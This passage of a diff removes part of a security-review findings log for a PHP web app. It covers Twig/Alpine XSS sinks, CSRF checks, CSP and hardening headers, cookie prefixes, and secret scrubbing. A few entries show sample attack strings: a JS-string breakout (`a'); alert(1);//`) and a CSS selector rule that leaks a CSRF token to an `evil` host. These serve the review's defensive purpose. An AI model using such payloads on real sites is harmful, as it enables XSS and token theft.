- asserting both that the control bytes are gone (`preg_match(
|
|
|
|
|
- '/[\x00-\x1f\x7f-\x9f]/u', value) === 0`) and that the
|
|
|
|
|
- surrounding visible payload round-trips byte-for-byte. The
|
|
|
|
|
- reporter case also drills into `audit_log.target_label` and
|
|
|
|
|
- `details_json` to prove the audit row never sees the raw bytes.
|
|
|
|
|
-
|
|
|
|
|
-### F53 — Stored-XSS sink potential in `categories/edit.twig` `decay_function`
|
|
|
|
|
-- **File:** `ui/resources/views/pages/categories/edit.twig:7-10`
|
|
|
|
|
-- **Risk:**
|
|
|
|
|
- `x-data="decayPreview({ fn: '{{ category.decay_function }}', ... })"`.
|
|
|
|
|
- Twig's default `e('html')` escapes `'` to `'`. The browser
|
|
|
|
|
- HTML-decodes the attribute before Alpine evaluates it as JS, so
|
|
|
|
|
- `'` becomes a literal `'` and breaks out of the JS string. If
|
|
|
|
|
- `decay_function` ever stores `a'); alert(1);//` (API enum drift),
|
|
|
|
|
- it executes. Combined with F24 (CSP `'unsafe-inline'`), live XSS.
|
|
|
|
|
- Use `e('js')` for content interpolated into a JS-attribute.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed by the F24 fix (`193f646`). When the CSP dropped
|
|
|
|
|
- `'unsafe-inline'` and `'unsafe-eval'`, all inline-eval Alpine
|
|
|
|
|
- patterns had to be rewritten — the categories edit template now
|
|
|
|
|
- reads:
|
|
|
|
|
- ```html
|
|
|
|
|
- <div x-data="decayPreview"
|
|
|
|
|
- data-decay-fn="{{ category.decay_function }}"
|
|
|
|
|
- data-decay-param="{{ category.decay_param }}">
|
|
|
|
|
- ```
|
|
|
|
|
- `x-data="decayPreview"` is the component name only (no inline JS
|
|
|
|
|
- interpolation), and the value flows via Twig's default `e('html')`-
|
|
|
|
|
- escaped HTML data attribute. The Alpine component reads it via
|
|
|
|
|
- `this.$el.dataset.decayFn` — a string DOM read, never `eval`.
|
|
|
|
|
- `app.js` further whitelists the value to the known enum:
|
|
|
|
|
- `ds.decayFn === 'linear' ? 'linear' : 'exponential'` — so even if
|
|
|
|
|
- a value somehow drifted, only the two known states map. No
|
|
|
|
|
- Alpine-side regression test (no JS-interpreted Twig escaping path
|
|
|
|
|
- remains in the template), but the rewritten pattern is one of the
|
|
|
|
|
- CSP-build cases the F24 work covered.
|
|
|
|
|
-
|
|
|
|
|
-### F54 — CSRF middleware lacks `Origin` / `Referer` defence in depth
|
|
|
|
|
-- **File:** `ui/src/Http/CsrfMiddleware.php:30, 40-48, 62-74`
|
|
|
|
|
-- **Risk:** Token validation is correct (constant-time compare,
|
|
|
|
|
- 256-bit entropy). Missing layered checks. No JSON-body extraction
|
|
|
|
|
- path (the middleware reads only header or `getParsedBody()`); fine
|
|
|
|
|
- today, brittle for future PUT/PATCH endpoints with JSON.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. Two new layers on top of the existing
|
|
|
|
|
- constant-time token compare:
|
|
|
|
|
- 1. **Same-origin gate.** State-changing requests with a present
|
|
|
|
|
- `Origin` (or, when `Origin` is absent but `Referer` is present,
|
|
|
|
|
- with a `Referer`) whose scheme+host+port doesn't match the
|
|
|
|
|
- request URI's are refused with 403 BEFORE the token check, so a
|
|
|
|
|
- cross-origin attacker who somehow exfiltrated the token cookie
|
|
|
|
|
- still can't fire a same-token cross-origin POST.
|
|
|
|
|
- `Origin: null` (sandboxed iframes / file:// pages) and the
|
|
|
|
|
- "neither header present" branch fall through to the token-only
|
|
|
|
|
- path — the curl/programmatic clients the test suite uses; modern
|
|
|
|
|
- browsers always send `Origin` on POST/PUT/PATCH/DELETE.
|
|
|
|
|
- Default ports (`:443` for https, `:80` for http) are normalised
|
|
|
|
|
- out so `https://example.com` and `https://example.com:443`
|
|
|
|
|
- compare equal.
|
|
|
|
|
- 2. **JSON body extraction.** `extractToken` now also reads
|
|
|
|
|
- `csrf_token` from the JSON request body when
|
|
|
|
|
- `Content-Type: application/json`, so a future fetch-with-JSON
|
|
|
|
|
- PUT/PATCH endpoint inherits CSRF protection without a per-route
|
|
|
|
|
- shim. Existing form-encoded and `X-CSRF-Token` header paths are
|
|
|
|
|
- unchanged.
|
|
|
|
|
- Regression tests in `ui/tests/Unit/Http/CsrfMiddlewareTest.php`:
|
|
|
|
|
- cross-origin Origin → 403, same-origin Origin → 200,
|
|
|
|
|
- Referer-fallback when Origin absent (same- and cross-origin),
|
|
|
|
|
- `Origin: null` deferring to the token check, JSON-body token
|
|
|
|
|
- accepted, JSON-body wrong token → 403.
|
|
|
|
|
-
|
|
|
|
|
-### F55 — `e('html_attr')` in Alpine `x-data` JS-attribute
|
|
|
|
|
-- **File:** `ui/resources/views/pages/ips/detail.twig:166-171`
|
|
|
|
|
-- **Risk:** Escape-strategy mismatch — `html_attr` vs the JS evaluator
|
|
|
|
|
- Alpine runs the attribute through. Backticks aren't escaped,
|
|
|
|
|
- Unicode permissive. A maintainer footgun more than an exploit.
|
|
|
|
|
- Use `data-foo='{{ x|json_encode|e("html_attr") }}'` on a
|
|
|
|
|
- non-Alpine element and read via `dataset.foo` + `JSON.parse` (the
|
|
|
|
|
- pattern already used in `dashboard.twig`).
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed by the F24 fix (`193f646`), the same CSP-
|
|
|
|
|
- tightening migration that resolved F53. The previously-vulnerable
|
|
|
|
|
- pattern
|
|
|
|
|
- ```html
|
|
|
|
|
- x-data="scoreOverTime({
|
|
|
|
|
- reports: {{ score_chart.reports|json_encode|e('html_attr') }},
|
|
|
|
|
- ...
|
|
|
|
|
- })"
|
|
|
|
|
- ```
|
|
|
|
|
- was rewritten to the exact pattern F55 recommended:
|
|
|
|
|
- ```html
|
|
|
|
|
- x-data="scoreOverTime"
|
|
|
|
|
- data-score-chart="{{ {reports: …, categories: …, now: …}
|
|
|
|
|
- |json_encode|e('html_attr') }}"
|
|
|
|
|
- ```
|
|
|
|
|
- The `e('html_attr')` filter now escapes for the actual context
|
|
|
|
|
- (HTML attribute), and `app.js` reads
|
|
|
|
|
- `JSON.parse(this.$el.dataset.scoreChart)` — a string DOM read
|
|
|
|
|
- followed by a JSON parse, never an Alpine eval. Closing F55 for
|
|
|
|
|
- bookkeeping; no new code change needed.
|
|
|
|
|
-
|
|
|
|
|
-### F56 — Inline `<script>` blocks in many templates force CSP `'unsafe-inline'`
|
|
|
|
|
-- **Files:** `ui/resources/views/pages/ips/detail.twig:274-392`,
|
|
|
|
|
- `pages/categories/edit.twig:111-135`,
|
|
|
|
|
- `pages/policies/edit.twig:139-422`,
|
|
|
|
|
- `pages/audit/index.twig:102-131`,
|
|
|
|
|
- `layout.twig:9-22`
|
|
|
|
|
-- **Risk:** Inline scripts plus event handlers force `'unsafe-inline'`
|
|
|
|
|
- (F24). Migrating to per-request nonces, or moving these scripts
|
|
|
|
|
- into a packaged `/assets/app.js`, lets the CSP drop the
|
|
|
|
|
- `'unsafe-inline'` token.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed by the F24 fix (`193f646`). Both migration paths
|
|
|
|
|
- the SEC_REVIEW recommended were applied:
|
|
|
|
|
- 1. Per-page inline scripts in `pages/ips/detail.twig`,
|
|
|
|
|
- `pages/categories/edit.twig`, `pages/policies/edit.twig`, and
|
|
|
|
|
- `pages/audit/index.twig` are gone — their behaviour was moved
|
|
|
|
|
- into Alpine components in the packaged `ui/resources/js/app.js`,
|
|
|
|
|
- loaded via `<script src="/assets/app.js" defer>` in `layout.twig`.
|
|
|
|
|
- 2. The single remaining inline `<script>` (the dark-mode FOUC
|
|
|
|
|
- preloader in `layout.twig` — has to stay inline because `app.js`
|
|
|
|
|
- is `defer`red and runs after layout) now carries
|
|
|
|
|
- `nonce="{{ csp_nonce }}"`, where `csp_nonce` is minted per
|
|
|
|
|
- request by `App\Http\CspMiddleware` and matched on the response's
|
|
|
|
|
- `Content-Security-Policy` header.
|
|
|
|
|
- Result: `script-src` is now `'self' 'nonce-…'` only —
|
|
|
|
|
- `'unsafe-inline'` is gone. `grep -rn "<script" ui/resources/views`
|
|
|
|
|
- returns exactly the two layout.twig hits (one inline-with-nonce,
|
|
|
|
|
- one external src). Closing F56 for bookkeeping; no new code change
|
|
|
|
|
- needed.
|
|
|
|
|
-
|
|
|
|
|
-### F57 — Session cookie name lacks `__Host-` prefix
|
|
|
|
|
-- **File:** `ui/src/Auth/SessionManager.php:23, 54-62`
|
|
|
|
|
-- **Risk:** Attributes are correct (`HttpOnly`, prod `Secure`,
|
|
|
|
|
- `SameSite=Lax`, `path=/`, no `Domain`). Adding `__Host-` enforces
|
|
|
|
|
- these at the browser and prevents subdomain cookie shadowing.
|
|
|
|
|
- Free defence-in-depth.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. New `SessionManager::cookieName()` returns
|
|
|
|
|
- `__Host-irdb_session` when `secureCookie` is true (production /
|
|
|
|
|
- HTTPS) and `irdb_session` otherwise. `startSession()` now calls
|
|
|
|
|
- `session_name($this->cookieName())` so the response's
|
|
|
|
|
- `Set-Cookie` header carries the prefixed name in production. The
|
|
|
|
|
- prefix is a browser-enforced contract: cookies named `__Host-…`
|
|
|
|
|
- are REJECTED unless they have `Secure`, `Path=/` exactly, and no
|
|
|
|
|
- `Domain` attribute (host-only) — which is exactly the shape the
|
|
|
|
|
- existing `session_set_cookie_params` already produces, so the
|
|
|
|
|
- rename is a free defence-in-depth tightening that prevents a
|
|
|
|
|
- parent-domain or subdomain page from shadowing the session
|
|
|
|
|
- cookie. Dev mode (`APP_ENV=development`, `secureCookie=false`,
|
|
|
|
|
- HTTP) keeps the unprefixed name because browsers reject `__Host-`
|
|
|
|
|
- over plain HTTP. Existing rolling sessions get implicitly
|
|
|
|
|
- invalidated on deploy (the cookie name changes), so users
|
|
|
|
|
- re-authenticate; acceptable cost for the security improvement.
|
|
|
|
|
- Regression tests in `ui/tests/Unit/Auth/SessionManagerTest.php`:
|
|
|
|
|
- `testCookieNameUsesHostPrefixWhenSecure` and
|
|
|
|
|
- `testCookieNameSkipsHostPrefixInDev`.
|
|
|
|
|
-
|
|
|
|
|
-### F58 — `/api/docs` CSP allows external CDN without SRI
|
|
|
|
|
-- **File:** `api/docker/Caddyfile:41`
|
|
|
|
|
-- **Risk:** `script-src 'unsafe-inline' https://cdn.jsdelivr.net`. If
|
|
|
|
|
- the CDN is compromised or RapiDoc serves user-influenced content,
|
|
|
|
|
- the docs page executes attacker JS. Add SRI hashes on the RapiDoc
|
|
|
|
|
- tag, or vendor a copy locally.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. `DocsController` now emits the RapiDoc
|
|
|
|
|
- `<script>` tag with `integrity="sha384-…"` and
|
|
|
|
|
- `crossorigin="anonymous"`. The hash
|
|
|
|
|
- (`MDSxszbIJtK/9YakZ3tvi2bK6LaaHnB8+Hd2/fCfih0tLa+Mqlv6HO0bZdrICjjG`)
|
|
|
|
|
- was computed from the actual upstream bytes via `openssl dgst
|
|
|
|
|
- -sha384 -binary | base64`. The browser refuses to execute the
|
|
|
|
|
- script if the CDN serves different bytes — covers a jsDelivr
|
|
|
|
|
- compromise, an in-flight content modification, or a hostile
|
|
|
|
|
- origin failover. The hash is captured as a class constant
|
|
|
|
|
- (`RAPIDOC_INTEGRITY`) alongside `RAPIDOC_URL` so a future
|
|
|
|
|
- RapiDoc version bump is a documented two-line change with the
|
|
|
|
|
- reproduction recipe in the docblock. The Caddyfile CSP is
|
|
|
|
|
- unchanged: `script-src 'self' https://cdn.jsdelivr.net
|
|
|
|
|
- 'unsafe-inline'` still allows the CDN host (the SRI is the
|
|
|
|
|
- per-bytes contract, the CSP entry is the per-host contract).
|
|
|
|
|
- Vendoring locally was considered but rejected: the M01 Caddyfile
|
|
|
|
|
- routes everything through PHP, and reshaping that to serve a
|
|
|
|
|
- static asset would be a wider change than the F58 ask. The CDN
|
|
|
|
|
- + SRI combination is the spec-accepted alternative.
|
|
|
|
|
- Regression test:
|
|
|
|
|
- `api/tests/Integration/Public/DocsControllerTest.php` —
|
|
|
|
|
- `testDocsPageEmbedsRapiDocWithSriIntegrity` asserts the script
|
|
|
|
|
- tag carries a well-formed sha384 SRI hash AND
|
|
|
|
|
- `crossorigin="anonymous"`.
|
|
|
|
|
-
|
|
|
|
|
-### F59 — Missing modern hardening headers
|
|
|
|
|
-- **Files:** `ui/docker/Caddyfile:18-34`,
|
|
|
|
|
- `api/docker/Caddyfile:24-30`
|
|
|
|
|
-- **Risk:** No `Cross-Origin-Opener-Policy`,
|
|
|
|
|
- `Cross-Origin-Resource-Policy`, or
|
|
|
|
|
- `X-Permitted-Cross-Domain-Policies`. `Permissions-Policy` covers
|
|
|
|
|
- only `geolocation`, `microphone`, `camera`. Cheap to add the
|
|
|
|
|
- rest.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. Both Caddyfiles now emit:
|
|
|
|
|
- - `Cross-Origin-Opener-Policy: same-origin` — isolates the
|
|
|
|
|
- browsing context from any popups it opens; a
|
|
|
|
|
- `window.opener.location = …` from a newly-spawned
|
|
|
|
|
- cross-origin tab can no longer reach back into the app.
|
|
|
|
|
- - `Cross-Origin-Resource-Policy: same-origin` — tells the
|
|
|
|
|
- browser the resource may only be loaded by same-origin
|
|
|
|
|
- documents (defeats sub-resource leaks via cross-origin
|
|
|
|
|
- `<img>`/`<script>`/`<link>` inclusion).
|
|
|
|
|
- - `X-Permitted-Cross-Domain-Policies: none` — blocks legacy
|
|
|
|
|
- Adobe Flash / Acrobat `crossdomain.xml` lookups.
|
|
|
|
|
- COEP `require-corp` was deliberately *not* added: it would
|
|
|
|
|
- require every cross-origin resource (e.g. the jsDelivr-hosted
|
|
|
|
|
- RapiDoc on `/api/docs`) to opt in via CORP, which we don't
|
|
|
|
|
- control. The SEC_REVIEW called out COOP / CORP / X-Permitted-
|
|
|
|
|
- CDP only; sticking to that scope. (`Permissions-Policy`
|
|
|
|
|
- hardening — F61 — is tracked separately.) Caddyfile syntax is
|
|
|
|
|
- validated with `frankenphp validate --config … --adapter
|
|
|
|
|
- caddyfile` ("Valid configuration") on both files.
|
|
|
|
|
-
|
|
|
|
|
-### F60 — HSTS lacks `preload`
|
|
|
|
|
-- **Files:** `ui/docker/Caddyfile:37`, `api/docker/Caddyfile:36`
|
|
|
|
|
-- **Risk:** Informational. Operators who want HSTS preload need to
|
|
|
|
|
- add the directive.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. Both Caddyfiles now read the HSTS header value
|
|
|
|
|
- from a new `HSTS_HEADER` env var with the previous value
|
|
|
|
|
- (`max-age=31536000; includeSubDomains`) as the default, so
|
|
|
|
|
- operators who want to submit to https://hstspreload.org/ can opt
|
|
|
|
|
- in by setting `HSTS_HEADER="max-age=31536000; includeSubDomains;
|
|
|
|
|
- preload"` in their environment without patching the Caddyfile.
|
|
|
|
|
- We deliberately don't enable `preload` by default: preload-listing
|
|
|
|
|
- is a one-way commitment — browser preload removals take months —
|
|
|
|
|
- and the M01 default is "operator runs the bundled compose stack
|
|
|
|
|
- on a hostname they may want to retire". The `.env.example`
|
|
|
|
|
- documents the override syntax with the SEC_REVIEW F60 reference.
|
|
|
|
|
- Caddyfile syntax validated with `frankenphp validate --adapter
|
|
|
|
|
- caddyfile` on both files; both report "Valid configuration".
|
|
|
|
|
-
|
|
|
|
|
-### F61 — Caddy `Permissions-Policy` minimal
|
|
|
|
|
-- **Files:** `ui/docker/Caddyfile:24`, `api/docker/Caddyfile:30`
|
|
|
|
|
-- **Risk:** Modern hardening also denies `interest-cohort`,
|
|
|
|
|
- `payment`, `usb`, `magnetometer`, `gyroscope`, `accelerometer`,
|
|
|
|
|
- `fullscreen`, `display-capture`, `clipboard-read`, etc.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. The narrow `geolocation=(), microphone=(),
|
|
|
|
|
- camera=()` was extended to a full deny-list of every browser
|
|
|
|
|
- feature the admin UI doesn't use:
|
|
|
|
|
- `accelerometer`, `ambient-light-sensor`, `autoplay`, `battery`,
|
|
|
|
|
- `bluetooth`, `camera`, `clipboard-read`, `display-capture`,
|
|
|
|
|
- `encrypted-media`, `fullscreen`, `gamepad`, `geolocation`,
|
|
|
|
|
- `gyroscope`, `hid`, `idle-detection`, `interest-cohort` (FLoC),
|
|
|
|
|
- `magnetometer`, `microphone`, `midi`, `payment`,
|
|
|
|
|
- `picture-in-picture`, `screen-wake-lock`, `serial`,
|
|
|
|
|
- `speaker-selection`, `usb`, `web-share`, `xr-spatial-tracking`.
|
|
|
|
|
- `clipboard-write` is left at its same-origin default on the UI
|
|
|
|
|
- Caddyfile so the existing `rawTokenCopy` Alpine component on the
|
|
|
|
|
- Tokens page can still write the freshly-issued raw token to the
|
|
|
|
|
- clipboard; the api Caddyfile denies `clipboard-write` outright
|
|
|
|
|
- because the api never serves a page that needs it. Both
|
|
|
|
|
- Caddyfiles validated with `frankenphp validate --adapter
|
|
|
|
|
- caddyfile -e APP_ENV=production` — both report "Valid
|
|
|
|
|
- configuration".
|
|
|
|
|
-
|
|
|
|
|
-### F62 — CSP `style-src 'unsafe-inline'` enables CSS-attribute-selector exfiltration
|
|
|
|
|
-- **File:** `ui/docker/Caddyfile:33`
|
|
|
|
|
-- **Risk:** With an HTML-injection (sub-XSS) primitive, an attacker
|
|
|
|
|
- can write CSS like
|
|
|
|
|
- `input[name=csrf_token][value^="a"] { background-image: url(//evil/?p=a); }`
|
|
|
|
|
- to leak the CSRF token char-by-char. Drop `'unsafe-inline'` for
|
|
|
|
|
- `style-src` and move dynamic widths to a stylesheet driven by
|
|
|
|
|
- `data-*` attributes.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. `App\Http\CspMiddleware::policy` now emits
|
|
|
|
|
- `style-src 'self'` only — `'unsafe-inline'` is gone. The two
|
|
|
|
|
- templates that previously carried inline `style="…"` attributes
|
|
|
|
|
- were migrated:
|
|
|
|
|
- - **`partials/topnav.twig`** — the user-menu dropdown's
|
|
|
|
|
- `style="display: none;"` pre-init hide replaced with
|
|
|
|
|
- `x-cloak`. The bundled stylesheet
|
|
|
|
|
- (`ui/resources/css/app.css`) now ships
|
|
|
|
|
- `[x-cloak] { display: none !important; }` so the element is
|
|
|
|
|
- hidden until Alpine boots and removes the attribute.
|
|
|
|
|
- - **`pages/ips/detail.twig`** — the dynamic
|
|
|
|
|
- `style="width: {{ width_pct }}%"` on the per-category score
|
|
|
|
|
- bar replaced with `data-score-width="{{ width_bucket }}"` where
|
|
|
|
|
- `width_bucket` is the percent rounded to 5%. The stylesheet
|
|
|
|
|
- ships one rule per bucket
|
|
|
|
|
- (`[data-score-width="0"] { width: 0%; }` …
|
|
|
|
|
- `[data-score-width="100"] { width: 100%; }`). 5% buckets are
|
|
|
|
|
- visually indistinguishable from per-pixel widths on the
|
|
|
|
|
- 1.5px-tall bar.
|
|
|
|
|
- Regression tests in
|
|
|
|
|
- `ui/tests/Unit/Http/CspMiddlewareTest.php` (extended
|
|
|
|
|
- `testPolicyContainsNonceAndDropsUnsafeDirectives` to assert
|
|
|
|
|
- `style-src 'self'`) and
|
|
|
|
|
- `ui/tests/Integration/App/CspHeaderTest.php` (new
|
|
|
|
|
- `testStyleSrcDropsUnsafeInline` and
|
|
|
|
|
- `testNoInlineStyleAttributesInLoginTemplate`). Full UI suite
|
|
|
|
|
- (188 tests / 587 assertions) passes.
|
|
|
|
|
-
|
|
|
|
|
-### F63 — Twig `autoescape` default is not explicitly configured
|
|
|
|
|
-- **File:** `ui/src/App/Container.php:105-131`
|
|
|
|
|
-- **Risk:** Defaults to `'html'` today, but a future Twig major or
|
|
|
|
|
- Slim-twig wrapper change could quietly flip it. Pin
|
|
|
|
|
- `'autoescape' => 'html'`.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. The Twig factory in `ui/src/App/Container.php`
|
|
|
|
|
- now passes `'autoescape' => 'html'` explicitly. Twig 3 already
|
|
|
|
|
- defaults to `'html'`, but pinning the option means a future major
|
|
|
|
|
- bump (or a Slim-twig wrapper change) that flipped the default
|
|
|
|
|
- would surface as a build-time error from `EscaperExtension`
|
|
|
|
|
- (Twig refuses unknown strategy names) rather than as silently
|
|
|
|
|
- un-escaped output. Regression tests in
|
|
|
|
|
- `ui/tests/Integration/App/TwigConfigTest.php`:
|
|
|
|
|
- `testAutoescapeStrategyIsExplicitlyHtml` calls
|
|
|
|
|
- `EscaperExtension::getDefaultStrategy()` on the wired-up
|
|
|
|
|
- environment and asserts the strategy is `'html'`;
|
|
|
|
|
- `testRenderedTemplateAutoescapesUserInput` proves the pipeline
|
|
|
|
|
- actually applies the strategy by rendering
|
|
|
|
|
- `'<script>alert(1)</script>'` through `{{ value }}` and
|
|
|
|
|
- asserting the output is HTML-escaped.
|
|
|
|
|
-
|
|
|
|
|
-### F64 — `compose.scheduler.yml` references a missing crontab file
|
|
|
|
|
-- **File:** `compose.scheduler.yml:10` (`./docker/scheduler.crontab`)
|
|
|
|
|
-- **Risk:** The bind-mount source does not exist in the repository.
|
|
|
|
|
- Container starts with empty `/etc/crontabs/root` and silently never
|
|
|
|
|
- runs `cleanup-audit` (audit retention silently broken) or
|
|
|
|
|
- `cleanup-expired-manual-blocks`. Failure-open monitoring gap.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed by the F22 fix (the scheduler-image rebuild that
|
|
|
|
|
- replaced the runtime `apk add` with a pinned-digest Dockerfile).
|
|
|
|
|
- The bind-mount of `./docker/scheduler.crontab` is gone;
|
|
|
|
|
- `scheduler/scheduler.crontab` is `COPY`ed into the image at build
|
|
|
|
|
- time so the schedule is part of the immutable artifact (`COPY
|
|
|
|
|
- scheduler.crontab /etc/crontabs/root` in `scheduler/Dockerfile`).
|
|
|
|
|
- Operators wanting a different cadence can still bind-mount their
|
|
|
|
|
- own crontab over `/etc/crontabs/root` in compose, but the default
|
|
|
|
|
- no longer depends on a host file at all. Closing F64 for
|
|
|
|
|
- bookkeeping; no new code change required.
|
|
|
|
|
-
|
|
|
|
|
-### F65 — `SecretScrubbingProcessor` does not match raw JWT shape
|
|
|
|
|
-- **Files:** `api/src/Infrastructure/Logging/SecretScrubbingProcessor.php:42-57`,
|
|
|
|
|
- `ui/src/Logging/SecretScrubbingProcessor.php:22-37`
|
|
|
|
|
-- **Risk:** A short Bearer (< 20 chars) is not redacted by the
|
|
|
|
|
- current regex. Raw `id_token`/`access_token` JWTs logged under
|
|
|
|
|
- alternate keys (e.g. `'jwt' => '...'`) escape the key-name list.
|
|
|
|
|
- Add a JWT regex
|
|
|
|
|
- `^[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+$`.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. Both `SecretScrubbingProcessor` value-pattern
|
|
|
|
|
- lists (api and ui) gained two entries:
|
|
|
|
|
- - `\beyJ[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]{4,}\b`
|
|
|
|
|
- → `eyJ***`. Anchored on `eyJ` because every JWT header is the
|
|
|
|
|
- base64url encoding of a JSON object that starts with `{"…`,
|
|
|
|
|
- which is `eyJ…`. Anchoring eliminates false positives on
|
|
|
|
|
- dotted-quad IPs (`192.168.1.1`), shared-object names
|
|
|
|
|
- (`lib.so.6`), and arbitrary `a.b.c`-shaped prose; the per-
|
|
|
|
|
- segment `{4,}` floor skips pathological short matches.
|
|
|
|
|
- - The Bearer floor `[A-Za-z0-9._\-]{20,}` was lowered to `{8,}`
|
|
|
|
|
- so a `Bearer abc12345` short token (the SEC_REVIEW called
|
|
|
|
|
- out `< 20 char` Bearers slipping through) gets caught.
|
|
|
|
|
- Regression tests:
|
|
|
|
|
- - api: `testRawJwtInValueIsScrubbed`,
|
|
|
|
|
- `testRawJwtInMessageIsScrubbed`,
|
|
|
|
|
- `testShortBearerTokenIsScrubbed`,
|
|
|
|
|
- `testIpAddressDoesNotMatchJwtRegex` (false-positive guard).
|
|
|
|
|
- - ui: `testRawJwtInValueIsScrubbed`, `testShortBearerIsScrubbed`.
|
|
|
|
|
- All existing tests still pass.
|
|
|
|
|
-
|
|
|
|
|
-### F66 — `APP_SECRET` and `UI_SECRET` declared but unused
|
|
|
|
|
-- **Files:** `.env.example:23, 82`,
|
|
|
|
|
- `api/config/settings.php:35`,
|
|
|
|
|
- `ui/config/settings.php:37`
|
|
|
|
|
-- **Risk:** `UI_SECRET` is never referenced in `ui/src/`. `APP_SECRET`
|
|
|
|
|
- is never used for any signing/HMAC operation. Operators following
|
|
|
|
|
- `.env.example` generate secret material that does nothing — a
|
|
|
|
|
- misleading security signal. Either wire them into ETag/CSRF/session
|
|
|
|
|
- signing or remove them.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed by removal. Neither secret was ever used for
|
|
|
|
|
- signing or HMAC (no callsites under `api/src/` or `ui/src/`),
|
|
|
|
|
- and adding fictional uses just to keep the env vars alive would
|
|
|
|
|
- invent ceremony. Deleted from:
|
|
|
|
|
- - `.env.example` — both `APP_SECRET` and `UI_SECRET` lines.
|
|
|
|
|
- - `api/config/settings.php` — `'app_secret'` settings key.
|
|
|
|
|
- - `ui/config/settings.php` — `'ui_secret'` settings key.
|
|
|
|
|
- - `api/src/Application/Admin/ConfigController.php` — the
|
|
|
|
|
- `APP_SECRET` line in the masked-config response, plus the
|
|
|
|
|
- docblock-listed masking rules.
|
|
|
|
|
- - `api/tests/Integration/Support/AppTestCase.php` and
|
|
|
|
|
- `ui/tests/Integration/Support/AppTestCase.php` — test fixture
|
|
|
|
|
- overrides.
|
|
|
|
|
- - `doc/user-manual.md` and `doc/security.md` — operator guidance
|
|
|
|
|
- that pointed at the removed env vars.
|
|
|
|
|
- Operators upgrading from a prior release can leave the lines in
|
|
|
|
|
- their `.env`; both apps now ignore them. F67 (validator-doesn't-
|
|
|
|
|
- check-UI_SECRET) is closed by the same change since `UI_SECRET`
|
|
|
|
|
- no longer exists to validate.
|
|
|
|
|
-
|
|
|
|
|
-### F67 — UI `Config::validateOrExit` does not check `UI_SECRET` despite docs
|
|
|
|
|
-- **Files:** `ui/src/App/Config.php:20-55`,
|
|
|
|
|
- `.env.example:82`
|
|
|
|
|
-- **Risk:** `.env.example:82` documents `UI_SECRET` as required
|
|
|
|
|
- ("signs session cookies") but the boot validator does not check
|
|
|
|
|
- it. Sessions are unsigned PHP-native files. Misleading
|
|
|
|
|
- documentation.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed alongside F66 by removing `UI_SECRET` entirely
|
|
|
|
|
- rather than wiring the signing the docs implied. The docs/
|
|
|
|
|
- validator mismatch the SEC_REVIEW called out is resolved by
|
|
|
|
|
- deleting the misleading half: `.env.example`,
|
|
|
|
|
- `ui/config/settings.php`, and `doc/user-manual.md` /
|
|
|
|
|
- `doc/security.md` no longer mention `UI_SECRET`. Sessions remain
|
|
|
|
|
- PHP-native files (the storage was never actually signed by
|
|
|
|
|
- anything in the existing code), but nothing in the deploy
|
|
|
|
|
- documentation now claims otherwise.
|
|
|
|
|
-
|
|
|
|
|
-### F68 — `/api/v1/openapi.yaml` and `/api/docs` are unauthenticated
|
|
|
|
|
-- **Files:** `api/src/App/AppFactory.php:99-101`,
|
|
|
|
|
- `api/docker/Caddyfile:40-44`
|
|
|
|
|
-- **Risk:** The 48 KB OpenAPI spec leaks the full surface of admin
|
|
|
|
|
- endpoints, internal-job endpoints, expected query/body shapes, and
|
|
|
|
|
- error contracts to unauthenticated callers. Defaults to
|
|
|
|
|
- internet-reachable. Aids reconnaissance. Gate behind a flag like
|
|
|
|
|
- `API_DOCS_PUBLIC` or move to an authenticated path.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. New `api_docs_public` setting (read from the
|
|
|
|
|
- `API_DOCS_PUBLIC` env var, default `false`). `AppFactory::build`
|
|
|
|
|
- now only registers `GET /api/docs` and `GET /api/v1/openapi.yaml`
|
|
|
|
|
- when the flag is `true`; with the default, both paths are simply
|
|
|
|
|
- never registered, so Slim returns 404 like any other unmapped
|
|
|
|
|
- path. Operators who want the docs viewer (open APIs, dev
|
|
|
|
|
- environments) opt in by setting `API_DOCS_PUBLIC=true` in the
|
|
|
|
|
- environment. The `.env.example` documents the gate alongside the
|
|
|
|
|
- other api-side settings. Caddyfile's `@docs`-path CSP block is
|
|
|
|
|
- unchanged — it now only takes effect for the 404 responses on
|
|
|
|
|
- the unregistered paths, which is harmless. Regression tests in
|
|
|
|
|
- `api/tests/Integration/Public/DocsControllerTest.php`:
|
|
|
|
|
- `testDocsPageIs404ByDefault` and `testOpenapiSpecIs404ByDefault`
|
|
|
|
|
- exercise the off-state directly; the F58 SRI test
|
|
|
|
|
- (`testDocsPageEmbedsRapiDocWithSriIntegrity`) and the spec-served
|
|
|
|
|
- smoke test now route through a small `enableDocs()` helper that
|
|
|
|
|
- flips the setting and rebuilds the app, mirroring the binding-
|
|
|
|
|
- override pattern `JobsAdminControllerTest` already uses.
|
|
|
|
|
-
|
|
|
|
|
-### F69 — `ReportController` parses unbounded JSON body before size checks
|
|
|
|
|
-- **Files:** `api/src/Application/Public/ReportController.php:99-113, 184-197`,
|
|
|
|
|
- `api/src/App/AppFactory.php:67`
|
|
|
|
|
-- **Risk:** `jsonBody()` reads `(string) $request->getBody()` and
|
|
|
|
|
- `json_decode`s it without a pre-decoding size check. The 4 KB
|
|
|
|
|
